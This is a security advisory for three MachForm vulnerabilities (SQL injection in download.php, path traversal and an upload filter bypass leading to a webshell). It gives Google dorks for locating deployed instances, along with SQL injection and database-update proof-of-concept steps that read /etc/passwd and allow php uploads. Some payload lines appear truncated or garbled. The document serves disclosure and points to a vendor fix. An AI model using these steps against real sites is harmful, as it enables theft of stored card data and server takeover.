MachForm Multiple Vulnerabilities CVE-2018-6409/CVE-2018-6410/CVE-2018-6411 May 30 2018 07:32PM
Amine Taouirsa (taouirsa gmail com)
Vendor: Appnitro
Product webpage: https://www.machform.com/
Full-Disclose: https://metalamin.github.io/MachForm-not-0-day-EN/
Fix: https://www.machform.com/blog-machform-423-security-release/

Author: Amine Taouirsa
Twitter: @metalamin

Google dork examples:
"machform" inurl:"view.php"
"machform" inurl:"embed.php"

The form creation platform MachForm from Appnitro is subject to SQL
injections that lead to path traversal and arbitrary file upload.

The application is widely deployed and with some google dorks itâ??s
possible to find various webpages storing sensitive data as credit
card numbers with corresponding security codes. Also, the arbitrary
file upload can let an attacker get control of the server by uploading
a WebShell.

[1] SQL injection (CVE-2018-6410):

[1.1] Description:
The software is subject to SQL injections in the â??download.phpâ?? file.

[1.2] Parameters and statement:
This SQLi can be found on the parameter â??qâ?? which a base64 encoded
value for the following parameters:

$form_id = $params['form_id'];
$id = $params['id'];
$field_name = $params['el'];
$file_hash = $params['hash'];

So the injectable parameters are â??elâ?? and â??form_idâ?? obtaining
error-based, stacked queries and time-based blind SQL injections. This
is due to the following vulnerable statement:

$query = "select {$field_name} from
`".MF_TABLE_PREFIX."form_{$form_id}` where id=?";

[1.3] POC
Proof of concept to get the first user mail:
http:// [URL] / [Machform_folder]

Which is the base64 encoding for:
MID((user_email),1,50) FROM ap_users ORDER BY user_id LIMIT
GROUP BY x)a) ;&id=1&hash=1&form_id=1

[2] Path traversal (CVE-2018-6409):

[2.1] Descrition
download.phpâ?? is used to serve stored files from the forms answers.
Modifying the name of the file to serve on the corresponding ap_form
table leads to a path traversal vulnerability.

[2.2] POC
First we need to change the name for the element on the form:
update ap_form_58009 set
where id=1;

Now in order to be able to download it, we need to access:
http:// [URL] / [Machform_folder]

Which is the base64 encoding for;

Note that hash is the MD5 of the corresponding filename:
md5("../../../../../../../../../../../../../../../../etc/passwd") =

[3] Bypass file upload filter (CVE-2018-6411):

When the form is set to filter a blacklist, it automatically add
dangerous extensions to the filters.
If the filter is set to a whitelist, the dangerous extensions can be bypassed.

This can be done directly on the database via SQLi
update ap_form_elements set
element_file_type_list="php",element_file_block_or_allow="a" where
form_id=58009 and element_id=4;

Once uploaded the file can be found and executed in the following URL:
http:// [URL] / [Machform_folder] /data/form_58009/files/ [filename]

The filename can be found in the database
SELECT element_4 FROM ap_form_58009 WHERE id=1;

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